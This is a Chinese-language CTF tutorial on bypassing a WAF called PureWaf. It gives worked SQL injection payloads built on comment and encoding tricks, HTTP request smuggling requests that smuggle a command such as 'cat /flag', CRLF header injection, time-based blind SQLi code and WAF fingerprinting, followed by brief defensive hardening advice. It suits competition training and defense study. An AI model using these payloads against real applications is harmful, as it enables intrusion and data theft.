1. CTF实战中的WAF绕过艺术
在网络安全竞赛中,WAF(Web应用防火墙)就像守门员一样矗立在Web应用前端,拦截着各种恶意流量。PureWaf作为轻量级规则引擎,常被用于CTF赛题设计。去年某次线下赛的统计数据显示,超过60%的Web类赛题都部署了不同强度的WAF防护。面对这些"看门狗",选手们需要掌握精准的"投喂"技巧。
我担任过多次CTF赛事出题人,PureWaf的规则配置往往存在几个典型盲区:注释符干扰、编码变形、协议特性利用等。下面通过三个典型赛题案例,演示如何像外科手术般精准绕过防护。
2. 基础绕过:注释符的艺术
2.1 赛题场景还原
某次比赛登录页面存在SQL注入漏洞,但部署了如下PureWaf规则:
rule sql_injection { meta: author = "CTF_Org" match: /\b(union|select|from|where)\b/i action: block }2.2 注释符变形实战
常规注入语句' union select 1,2,3 --会被立即拦截。通过以下步骤实现绕过:
- 内联注释测试:
'/*!UNION*/SELECT 1,2,3 --MySQL特有的/*!...*/语法会被执行但WAF可能不识别
- 换行符分割:
'UNI\ ON SEL\ ECT 1,2,3 --利用反斜杠换行绕过关键词检测
- 多重注释干扰:
'/**/UNION/*xxxx*/SELECT/*!50000 1,2*/--%0a混合使用多种注释类型增加识别难度
实战技巧:不同数据库的注释特性不同,MySQL的
/*!VERSION*/条件注释在特定场景下尤为有效
3. 编码进阶:多重变形技术
3.1 十六进制编码案例
某次题目过滤了substr等字符串函数,但允许十六进制数据。构造如下payload:
SELECT x'61646D696E' -- 解码为"admin"3.2 混合编码方案
采用阶梯式编码策略:
- 基础URL编码:
union→%75%6e%69%6f%6e - 双重编码:
%→%25→%2575%256e... - 加入无关字符:
u%00ni%a0on
3.3 非常用编码类型
尝试这些冷门但有效的编码方式:
- HTML实体编码:
∪nion→∪nion - Unicode规范化:
u⃞nion(使用组合字符) - UTF-7编码:
+ACU-union(需服务端支持)
| 编码类型 | 示例 | 适用场景 |
|---|---|---|
| URL编码 | %27%20OR%201=1-- | 常规过滤 |
| 双重URL编码 | %2527%2520OR%25201=1-- | 多层解码场景 |
| HTML实体 | ' OR 1=1-- | XSS过滤旁路 |
| UTF-16BE | 0x270020004F005200200031003D0031-- | 宽字节注入 |
4. 协议层绕过:HTTP走私实战
4.1 基于CL-TE的走私攻击
当PureWaf配置为检测GET/POST参数时,可构造:
POST /search HTTP/1.1 Host: ctf.example Content-Length: 56 Transfer-Encoding: chunked 0 GET /admin?cmd=cat+/flag HTTP/1.1 X-Forwarded-For: 127.0.0.14.2 分块编码技巧
分块传输时插入恶意代码:
POST /api HTTP/1.1 Transfer-Encoding: chunked 5 key=v 3 alu 7 e&cmd=; 2 id 04.3 头部注入技术
利用换行符注入隐藏头部:
GET /?q=hello%0d%0aX-Forwarded-For:%20127.0.0.1 HTTP/1.1关键点:WAF通常只检查第一个Host头,后端服务器可能解析多个头部
5. 高级技巧:时间盲注优化
5.1 基于位运算的盲注
传统sleep(2)容易被检测,改用:
SELECT IF(ORD(MID(@@version,1,1))&128,BENCHMARK(10000000,SHA1(1)),0)5.2 分块延迟检测
编写自动化脚本时采用渐进式延迟:
def check_delay(url, payload): base_time = measure_response(url) for i in range(8): test_payload = f"(SELECT IF(ASCII(SUBSTR(database(),{i},1))&{2**i},SLEEP(2),0))" if measure_response(url + test_payload) - base_time > 1.5: bit_flag |= 2**i5.3 非常用延时函数
除sleep()外还可尝试:
- MySQL:
GET_LOCK('test',2) - PostgreSQL:
pg_sleep(2) - SQLite:
randomblob(100000000)
6. WAF规则逆向与指纹识别
6.1 规则探测技术
通过错误反馈识别规则:
curl -X POST "http://target/?q=UNION/*&a=*/SELECT"6.2 指纹特征库
常见WAF识别特征:
- ModSecurity:拦截响应头含
Mod_Security - PureWaf:默认错误页含
PureWaf Notification - Cloudflare:
__cfduidcookie存在
6.3 规则热加载检测
检测规则更新频率:
import time responses = [] for _ in range(10): responses.append(requests.get(url)) time.sleep(60) compare_block_pages(responses)7. 防御视角的加固建议
7.1 规则配置优化
建议采用深度防御策略:
location / { # 基础规则 include /etc/nginx/waf_rules/basic.conf; # 业务特定规则 if ($args ~* "union.*select") { return 403; } # 频率限制 limit_req zone=antiddos burst=10; }7.2 日志监控要点
关键监控指标:
- 同一IP的403错误率突增
- 异常的HTTP方法组合(如GET带Content-Length)
- 非常规User-Agent的扫描行为
7.3 机器学习辅助
使用LSTM模型检测异常请求:
from tensorflow.keras.models import load_model model = load_model('waf_model.h5') def detect_attack(request): tokenized = tokenizer.transform([request]) return model.predict(tokenized)[0][0] > 0.8在CTF实战中,WAF绕过既是技术较量也是心理博弈。我常建议选手准备三套方案:基础绕过用于快速得分,高级技巧应对复杂场景,备用方案防备突发情况。记住,最好的绕过往往藏在协议规范和业务逻辑的交界处。